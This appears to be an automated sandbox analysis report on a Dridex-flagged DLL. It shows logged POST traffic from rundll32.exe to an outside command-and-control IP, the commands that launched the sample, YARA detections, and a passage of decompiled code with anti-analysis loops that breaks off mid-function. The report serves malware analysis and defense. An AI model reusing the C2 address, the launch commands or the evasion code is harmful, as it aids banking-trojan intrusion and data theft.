1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:43 UTC	408	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:43 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	50159	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:44 UTC	409	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:44 UTC	409	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:45 UTC	413	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	50162	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:46 UTC	414	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:46 UTC	414	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:46 UTC	418	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	50167	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:48 UTC	419	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:48 UTC	419	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:49 UTC	423	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	50170	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:50 UTC	424	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:50 UTC	424	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:50 UTC	428	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:50 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	50174	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:52 UTC	429	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:52 UTC	429	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:53 UTC	433	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	50178	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:54 UTC	434	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:54 UTC	434	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:54 UTC	438	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	50182	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:56 UTC	439	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:56 UTC	439	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:57 UTC	443	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	50186	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:57 UTC	444	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:57 UTC	444	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:58 UTC	448	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49791	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:18 UTC	44	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:18 UTC	45	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:19 UTC	49	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:19 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	50190	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:01:00 UTC	449	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:01:00 UTC	449	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:01:00 UTC	453	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:01:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6384 Parent PID: 4456

General

Start time:	04:56:54
Start date:	28/10/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll'
Imagebase:	0xaa0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000003.478698643.0000000001270000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6396 Parent PID: 6384

General

Start time:	04:56:55
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll',#1
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6408 Parent PID: 6384

General

Start time:	04:56:55
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Bluewing
Imagebase:	0x1340000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000003.433688939.0000000004C00000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6424 Parent PID: 6396

General

Start time:	04:56:55
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll',#1
Imagebase:	0x1340000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000002.898148863.000000006EFE1000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000003.435699567.0000000000610000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6464 Parent PID: 6384

General

Start time:	04:56:59
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Earth
Imagebase:	0x1340000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000003.467247040.0000000004B00000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6480 Parent PID: 6384

General

Start time:	04:57:06
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Masterjust
Imagebase:	0x1340000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000005.00000003.475590656.0000000000DE0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6384 Parent PID: 4456 loaddll32.exeCOMMON

Executed Functions

Function 6EFE51A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EFE51A7(void* __edi, signed int __esi) {
				void* _t190;
				signed int _t192;
				signed int _t198;
				signed int _t200;
				void* _t203;
				signed int _t211;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				signed int _t239;
				intOrPtr _t240;
				intOrPtr* _t244;
				void* _t259;
				void* _t269;
				intOrPtr _t272;
				signed int _t282;
				signed int _t286;
				void* _t301;
				intOrPtr* _t302;
				signed int _t305;
				unsigned int _t309;
				intOrPtr _t312;
				signed short* _t313;
				signed int _t316;
				signed int _t333;
				signed int _t334;
				signed int _t339;
				char* _t347;
				char _t349;
				signed int _t360;
				signed int _t361;
				void* _t362;
				void* _t363;
				void* _t364;
				signed int _t368;
				signed int _t369;
				signed int _t372;
				signed int _t373;
				void* _t378;
				signed int _t379;
				intOrPtr* _t434;
				intOrPtr* _t442;
				signed int _t457;
				signed int _t459;
				signed int _t462;
				signed int _t494;
				signed int _t496;
				intOrPtr* _t502;
				signed int _t503;
				signed int _t523;
				signed int _t527;
				void* _t532;
				signed int _t533;
				void* _t540;
				void* _t541;
				void* _t542;
				void* _t543;
				intOrPtr* _t544;
				intOrPtr* _t545;
				void* _t548;
				intOrPtr _t551;
				intOrPtr _t552;
				intOrPtr* _t553;

				_t530 = __esi;
				_t526 = __edi;
				E6F005CB0(_t553 + 0xdc, 3, 0x28, 0x64);
				_t361 = 0;
				_t540 = _t553 + 0x1e4;
				while(1) {
					E6F005CB0(_t540, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1e4));
					Sleep(0xa);
					E6F000B10(_t540);
					_t361 = _t361 + 1;
					if(_t361 >= 0xbebbe7c) {
						break;
					}
					while(_t361 >= 0x137b) {
						_t361 = _t361 + 1;
						if(_t361 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L5;
					}
				}
				L5:
				_t362 = 0;
				_t541 = _t553 + 0x1ec;
				while(1) {
					E6F005CB0(_t541, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1ec));
					Sleep(0xa);
					E6F000B10(_t541);
					_t362 = _t362 + 1;
					if(_t362 >= 0xbebbe7c) {
						break;
					}
					while(_t362 >= 0x137b) {
						_t362 = _t362 + 1;
						if(_t362 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L10;
					}
				}
				L10:
				_t363 = 0;
				_t542 = _t553 + 0x1f4;
				while(1) {
					E6F005CB0(_t542, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1f4));
					Sleep(0xa);
					E6F000B10(_t542);
					_t363 = _t363 + 1;
					if(_t363 >= 0xbebbe7c) {
						break;
					}
					while(_t363 >= 0x137b) {
						_t363 = _t363 + 1;
						if(_t363 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L15;
					}
				}
				L15:
				_t364 = 0;
				_t543 = _t553 + 0x1fc;
				while(1) {
					E6F005CB0(_t543, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1fc));
					Sleep(0xa);
					E6F000B10(_t543);
					_t364 = _t364 + 1;
					if(_t364 >= 0xbebbe7c) {
						break;
					}
					while(_t364 >= 0x137b) {
						_t364 = _t364 + 1;
						if(_t364 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L20;
					}
				}
				L20:
				E6F000B10(_t553 + 0xd4);
				_push(0x755aa3f0);
				if(E6EFF7560() != 0) {
					_t347 = E6EFF15C0(0x588ab3ea, 0x1be15feb);
					if( *_t347 == 0xe9) {
						_t149 =  *((intOrPtr*)(_t347 + 1)) + 5; // 0x5
						_t378 = _t347 + _t149;
